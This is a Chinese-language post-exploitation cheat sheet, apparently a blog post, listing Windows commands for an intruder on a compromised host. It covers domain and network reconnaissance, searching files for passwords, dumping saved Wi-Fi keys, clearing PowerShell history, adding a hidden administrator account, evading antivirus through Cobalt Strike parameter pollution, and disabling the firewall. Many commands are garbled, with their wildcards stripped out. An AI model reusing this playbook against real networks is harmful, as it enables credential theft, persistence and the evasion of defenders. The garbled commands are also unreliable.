查看磁盘或者文件下面的所有文件

tree /f /a 磁盘名或者目录位置
image.png

image.png

查看所有盘符

fsutil fsinfo drives #查看所有盘符
image.png

查看远程计算机的进程以及登录情况

qprocess /SERVER:IP ——- 远程查看计算机进程列表
qwinsta /SERVER:IP ——- 查看远程登录情况

查看环境变量

set #也可以通过此命令查看主机是否配置了内网代理,在这里还有一种是网络内网设置了代理服务器的情况,攻击者通常会查看环境变量set,主机名是否有proxy字样的机器,注册表是否有写明代理地址或指定pac代理文件等。

powershell历史命令记录

powershell -exec bypass -c “& {powershell Get-Content (Get-PSReadlineOption).HistorySavePath}”
图片.png注意: 某些情况下,该命令可能无法使用,我们可先用dir查看powershell历史命令记录文件的存放位置,然后使用type进行读取,以下两个文件存放历史命令记录
%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
%appdata%\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

清楚powershell历史命令记录

powershell Remove-Item (Get-PSReadlineOption).HistorySavePath

查看历史打开文件

dir %APPDATA%\Microsoft\Windows\Recent图片.png

powershell检查系统当中的历史文件

powershell -exec bypass -c “(GET-psreadlineoption).historysavepath”
image.png

敏感文件搜索,各种配置文件等

dir /a /s /b c:*.conf .ini .inc .config
dir /a /s /b c:\conf.
config.
dir /a /s /b c:\
.txt .xls .xlsx .docx
findstr /s /i /n /d:C:\ /c:”pass”
.config
指定目录搜索各类敏感文件
dir /a /s /b d:\”.txt”
dir /a /s /b d:\”
.xml”
dir /a /s /b d:\”.mdb”
dir /a /s /b d:\”
.sql”
dir /a /s /b d:\”.mdf”
dir /a /s /b d:\”
.eml”
dir /a /s /b d:\”.pst”
dir /a /s /b d:\”
conf
dir /a /s /b d:\”
bak
dir /a /s /b d:\”
pwd
dir /a /s /b d:\”
pass
dir /a /s /b d:\”
login
dir /a /s /b d:\”
user
收集各类账号密码信息
findstr /si pass
.inc .config .ini .txt .asp .aspx .php .jsp .xml .cgi .bak
findstr /si userpwd .inc .config .ini .txt .asp .aspx .php .jsp .xml .cgi .bak
findstr /si pwd
.inc .config .ini .txt .asp .aspx .php .jsp .xml .cgi .bak
findstr /si login .inc .config .ini .txt .asp .aspx .php .jsp .xml .cgi .bak
findstr /si user
.inc .config .ini .txt .asp .aspx .php .jsp .xml .cgi .bak

获取wifi密码

netsh wlan show profiles
netsh wlan show profiles name=”WiFi名称” key=clear 注意:这条必须配合1的搜索结果进行使用
for /f “skip=9 tokens=1,2 delims=:” %i in (‘netsh wlan show profiles’) do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear 说明:通过for循环显示所有的结果

域内信息搜集命令

net use 查看ipc连接情况
query user 查当前机器中正在线的用户
net user /domain 获取域用户列表
net user test 123 /add 添加用户
neet localgroup administrators test /add 添加test用户到管理组,一般情况下,管理组才能远程桌面
net group /domain 查询域里面的组
net group “domain admins” /domain 获取域管理员列表
net group “enterprise admins” /domain 查看当前域中企业管理员组用户
net group “domain computers” /domain 查看当前域中的所有的计算机名(登录过该域的计算机)
net group “exchange servers” /domain 查看域内是否存在Exchange
net group “domain controllers” /domain 查看域控制器(如果有多台)
net config workstation 查看当前登录域
net view 查看同一域内机器列表
net view \ip 查看某IP共享
net view \test 查看test计算机的共享资源列表
net view /domain 查看内网存在多少个域
Net view /domain:test 查看test域中的机器列表
wmic useraccount get Caption,sid 获取域内所有用户sid
图片.png

定位域控主机是哪一台

net time /domain
ipconfig /all
ipconfig /displaydns # 通过dns定位域控
netdom query dc #利用netdom获取域控列表,得到域控名称可通过ping获取域控IP
nslookup -type=SRV _ldap._tcp.corp #通过srv记录获取域控地址
nltest /dclist:corp #使用nltest查询域控列表
根据ip 的 88 和 389(从该端口的返回信息中一般能直接看到对应域名)端口, 如果开了, 基本就可以确定它就是其中一台域控

查找内网其它网段

cmdkey /l
ipconfig /displaydns #查看本地DNS缓存,能获取到个别内网IP
route print
arp -a
netstat -ano

绕过杀软添加用户

cs参数污染添加用户

argue net aaaaaaaaaaaaaaaaaaaaaaaassssssssssssssssssssssssssssssssssssssssssssssssss
run net user test 123 /add
run net localgroup “administrators” test /add

防火墙打开关闭

netsh advfirewall show private 查看当前机器防火墙状态
netsh advfirewall set allprofiles state off 关闭当前机器防火墙
netsh advfirewall set allprofiles state on 开启当前机器防火墙
注意: 需要管理员权限才能操作命令

域内存活资产搜集

ldap

域内先利用 ldap 查询获取域内完整机器名, 然后再根据机器名依次进行 dns 查询获取其对应 ip, 注, 此操作只需普通域用户权限即
图片.png

spn

  1. 首先, 提取当前域内完整 SPN 记录, 排序去重后过滤出机器名列表
    2. # setspn -Q / | findstr “CN=” > C:\Users\Public\Documents\host.txt
    3. # awk -F “,” ‘{print $1}’ host.txt | awk -F “=” ‘{print $2}’ > hosts.txt
    4.
    5. 然后,针对上面的机器名列表批量解析内网 ip,接着,再次排序去重汇总,即可拿到域内所有存活段 [ 注,实际中此处的 ip 并不一定全部存活,但却可以利用此方式快速完整发现域内所有隐藏内网段 ]
    6. beacon> run cmd /c for /f “delims=” %i in (C:\Users\Public\Documents\hosts.txt) do @ping -w 3 -n 1 %i | findstr /c:”[1” >> C:\Users\Public\Documents\final.txt
    7. beacon> run cmd /c type C:\Users\Public\Documents\final.txt
    8. # awk -F “ “ ‘{print $4}’ final.txt | awk -F “[“ ‘{print $2}’ | awk -F ‘]’ ‘{print $1}’ | awk -F ‘.’ ‘{print $1”.”$2”.”$3}’ | sort |uniq

    获取主机安装软件

    wmic product get name,versison

    获取指定运行程序的路径位置

    tasklist /v |findstr pid(通过netstat 得到的pid):查看对应pid使用的进程程序
    wmic process |findstr “wv2ray.exe” #获取wv2ray.exe运行程序的路径